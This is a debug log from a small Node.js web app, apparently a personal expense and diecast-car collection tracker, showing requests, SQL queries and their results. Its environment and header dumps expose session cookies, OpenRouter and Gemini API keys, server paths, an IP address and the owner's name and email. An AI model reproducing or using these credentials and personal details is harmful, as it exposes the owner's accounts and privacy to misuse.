    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-12T13:12:08.658Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:12:08.659Z server-connect:app Executing action step identify
2026-02-12T13:12:08.659Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:08.659Z server-connect:output identity: 1
2026-02-12T13:12:08.659Z server-connect:app Executing action step restrict
2026-02-12T13:12:08.659Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:08.660Z server-connect:output restrict: undefined
2026-02-12T13:12:08.662Z server-connect:app Executing action step select
2026-02-12T13:12:08.662Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:12:08.669Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:12:08.673Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:12:08.678Z server-connect:app Executing action step identify
2026-02-12T13:12:08.678Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:08.678Z server-connect:output identity: 1
2026-02-12T13:12:08.678Z server-connect:app Executing action step restrict
2026-02-12T13:12:08.678Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:08.680Z server-connect:output restrict: undefined
2026-02-12T13:12:08.680Z server-connect:app Executing action step single
2026-02-12T13:12:08.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:12:08.682Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:12:12.281Z server-connect:router Serving templateView /diecast
2026-02-12T13:12:12.282Z server-connect:app Executing action step identify
2026-02-12T13:12:12.282Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:12.282Z server-connect:output identity: 1
2026-02-12T13:12:12.282Z server-connect:app Executing action step restrict
2026-02-12T13:12:12.282Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:12:12.283Z server-connect:output restrict: undefined
2026-02-12T13:12:12.283Z server-connect:router Render template diecast
2026-02-12T13:12:12.283Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-12T13:12:12.542Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:12:12.542Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:12:12.542Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:12:12.543Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:12:12.545Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:12:12.545Z server-connect:app Executing action step identify
2026-02-12T13:12:12.545Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:12.545Z server-connect:output identity: 1
2026-02-12T13:12:12.545Z server-connect:app Executing action step restrict
2026-02-12T13:12:12.546Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:12.546Z server-connect:app Executing action step identify
2026-02-12T13:12:12.546Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:12.546Z server-connect:output identity: 1
2026-02-12T13:12:12.546Z server-connect:app Executing action step restrict
2026-02-12T13:12:12.546Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:12.546Z server-connect:app Executing action step identify
2026-02-12T13:12:12.547Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:12.547Z server-connect:output identity: 1
2026-02-12T13:12:12.547Z server-connect:app Executing action step restrict
2026-02-12T13:12:12.547Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:12.547Z server-connect:app Executing action step identify
2026-02-12T13:12:12.547Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:12.547Z server-connect:output identity: 1
2026-02-12T13:12:12.547Z server-connect:app Executing action step restrict
2026-02-12T13:12:12.547Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:12.548Z server-connect:output restrict: undefined
2026-02-12T13:12:12.548Z server-connect:app Executing action step paged
2026-02-12T13:12:12.548Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:12:12.550Z server-connect:app Executing action step identify
2026-02-12T13:12:12.550Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:12.550Z server-connect:output identity: 1
2026-02-12T13:12:12.550Z server-connect:app Executing action step restrict
2026-02-12T13:12:12.550Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:12.552Z server-connect:output restrict: undefined
2026-02-12T13:12:12.552Z server-connect:app Executing action step select
2026-02-12T13:12:12.552Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:12:12.553Z server-connect:output restrict: undefined
2026-02-12T13:12:12.553Z server-connect:app Executing action step select
2026-02-12T13:12:12.553Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:12:12.553Z server-connect:output restrict: undefined
2026-02-12T13:12:12.553Z server-connect:app Executing action step select
2026-02-12T13:12:12.554Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:12:12.554Z server-connect:output restrict: undefined
2026-02-12T13:12:12.555Z server-connect:app Executing action step select
2026-02-12T13:12:12.555Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:12:12.556Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:12:12.558Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:12:12.558Z server-connect:app Executing action step select
2026-02-12T13:12:12.558Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:12:13.389Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
